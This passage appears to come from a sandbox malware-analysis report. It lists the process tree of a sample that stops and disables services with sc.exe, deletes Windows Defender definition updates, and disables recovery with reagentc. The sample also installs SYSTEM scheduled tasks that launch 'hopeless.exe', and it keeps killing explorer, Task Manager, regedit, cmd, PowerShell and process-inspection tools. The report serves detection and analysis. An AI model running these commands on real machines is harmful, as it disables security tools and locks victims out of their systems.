PID:5972
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop W >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4792
- - C:\Windows\system32\sc.exe
    sc stop W
    3⤵
    - Launches sc.exe
    PID:3320
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config W start=disabled >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3992
- - C:\Windows\system32\sc.exe
    sc config W start=disabled
    3⤵
    - Launches sc.exe
    PID:5520
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop w >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4352
- - C:\Windows\system32\sc.exe
    sc stop w
    3⤵
    - Launches sc.exe
    PID:5048
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config w start=disabled >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3168
- - C:\Windows\system32\sc.exe
    sc config w start=disabled
    3⤵
    - Launches sc.exe
    PID:3644
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop S >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2828
- - C:\Windows\system32\sc.exe
    sc stop S
    3⤵
    - Launches sc.exe
    PID:5948
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config S start=disabled >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5332
- - C:\Windows\system32\sc.exe
    sc config S start=disabled
    3⤵
    - Launches sc.exe
    PID:3196
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop M >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1832
- - C:\Windows\system32\sc.exe
    sc stop M
    3⤵
    - Launches sc.exe
    PID:5388
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config M start=disabled >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4944
- - C:\Windows\system32\sc.exe
    sc config M start=disabled
    3⤵
    - Launches sc.exe
    PID:5372
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop S >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5692
- - C:\Windows\system32\sc.exe
    sc stop S
    3⤵
    - Launches sc.exe
    PID:380
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config S start=disabled >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1988
- - C:\Windows\system32\sc.exe
    sc config S start=disabled
    3⤵
    - Launches sc.exe
    PID:5648
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop W >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1592
- - C:\Windows\system32\sc.exe
    sc stop W
    3⤵
    - Launches sc.exe
    PID:2548
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config W start=disabled >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5780
- - C:\Windows\system32\sc.exe
    sc config W start=disabled
    3⤵
    - Launches sc.exe
    PID:1712
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop w >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5196
- - C:\Windows\system32\sc.exe
    sc stop w
    3⤵
    - Launches sc.exe
    PID:4956
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config w start=disabled >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2420
- - C:\Windows\system32\sc.exe
    sc config w start=disabled
    3⤵
    - Launches sc.exe
    PID:5912
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop W >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:552
- - C:\Windows\system32\sc.exe
    sc stop W
    3⤵
    - Launches sc.exe
    PID:2708
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config W start=disabled >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2712
- - C:\Windows\system32\sc.exe
    sc config W start=disabled
    3⤵
    - Launches sc.exe
    PID:3256
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop w >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3760
- - C:\Windows\system32\sc.exe
    sc stop w
    3⤵
    - Launches sc.exe
    PID:3284
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config w start=disabled >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2132
- - C:\Windows\system32\sc.exe
    sc config w start=disabled
    3⤵
    - Launches sc.exe
    PID:5260
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop B >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3052
- - C:\Windows\system32\sc.exe
    sc stop B
    3⤵
    - Launches sc.exe
    PID:3048
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config B start=disabled >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2516
- - C:\Windows\system32\sc.exe
    sc config B start=disabled
    3⤵
    - Launches sc.exe
    PID:2592
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop T >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4580
- - C:\Windows\system32\sc.exe
    sc stop T
    3⤵
    - Launches sc.exe
    PID:2528
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config T start=disabled >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1292
- - C:\Windows\system32\sc.exe
    sc config T start=disabled
    3⤵
    - Launches sc.exe
    PID:3824
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop T >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4816
- - C:\Windows\system32\sc.exe
    sc stop T
    3⤵
    - Launches sc.exe
    PID:1476
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config T start=disabled >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:816
- - C:\Windows\system32\sc.exe
    sc config T start=disabled
    3⤵
    - Launches sc.exe
    PID:1300
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop S >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3536
- - C:\Windows\system32\sc.exe
    sc stop S
    3⤵
    - Launches sc.exe
    PID:3532
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config S start=disabled >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3268
- - C:\Windows\system32\sc.exe
    sc config S start=disabled
    3⤵
    - Launches sc.exe
    PID:5316
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop l >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5848
- - C:\Windows\system32\sc.exe
    sc stop l
    3⤵
    - Launches sc.exe
    PID:5800
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config l start=disabled >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3124
- - C:\Windows\system32\sc.exe
    sc config l start=disabled
    3⤵
    - Launches sc.exe
    PID:1236
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop S >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1460
- - C:\Windows\system32\sc.exe
    sc stop S
    3⤵
    - Launches sc.exe
    PID:5980
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config S start=disabled >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2072
- - C:\Windows\system32\sc.exe
    sc config S start=disabled
    3⤵
    - Launches sc.exe
    PID:5708
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop s >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2248
- - C:\Windows\system32\sc.exe
    sc stop s
    3⤵
    - Launches sc.exe
    PID:5008
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config s start=disabled >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4904
- - C:\Windows\system32\sc.exe
    sc config s start=disabled
    3⤵
    - Launches sc.exe
    PID:780
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "C:\ProgramData\Microsoft\Windows Defender\Definition Updates" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:3488
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:4916
- - C:\Windows\system32\rundll32.exe
    rundll32.exe taskkill /f /im explorer.exe
    3⤵
    PID:1800
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c schtasks /create /tn "MUH" /tr "C\cmd.exe /c start /min C\hopeless.exe" /sc onstart /ru SYSTEM /f /rl highest 2>nul
  2⤵
  PID:5208
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c reagentc /disable 2>nul
  2⤵
  PID:436
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c schtasks /create /tn "SMM" /tr "C\cmd.exe /c start /min C\hopeless.exe" /sc onlogon /ru SYSTEM /f /rl highest 2>nul
  2⤵
  PID:3584
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c reagentc /setreimage /disable 2>nul
  2⤵
  PID:452
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c schtasks /create /tn "HOPELESS_SHUTDOWN_MONITOR" /tr "C\cmd.exe /c start /min C\hopeless.exe" /sc onstart /ru SYSTEM /f /rl highest 2>nul
  2⤵
  PID:2616
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:3024
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:1624
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:632
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:1912
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:6000
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:1948
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:2128
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:3044
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:1952
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:4756
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:3712
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:4900
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:4892
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:1176
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:5796
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:1320
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:5828
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:4932
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:5664
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:1904
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:4260
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:4512
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:4828
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:6076
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:4576
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:4824
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:4616
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:4404
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:4380
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:2460
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:2456
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:3320
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:5564
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:6128
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:3220
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:3472
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:4460
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:5488
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:4608
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:2936
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:1048
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:3356
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:872
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:4740
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:764
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:5024
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:6104
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:3912
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:5508
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:4176
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:2084
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:1852
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:3828
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:560
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:3944
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:4868
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:1280
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:5036
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:5644
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:5648
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:1308
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:5624
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:5792
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:3984
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:988
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:2944
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:1712
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:2292
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:860
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:5864
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:5820
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:3804
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:5908
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:3996
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:3136
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:5108
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:412
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:5140
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:1124
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:5160
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:5904
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:3256
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:3868
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:2428
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:3684
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:3844
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:3708
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:5232
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:1532
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:2552
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:5292
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:5588
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:3348
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:5092
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:5920
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:2796
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:4668
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:4680
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:2968
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:1088
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:1960
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:3840
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:2872
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:2528
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:1404
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:3796
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:1776
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:1432
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:1548
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:2404
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:4068
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:5804
- C:\Windows\SYSTEM32\rundll32.exe
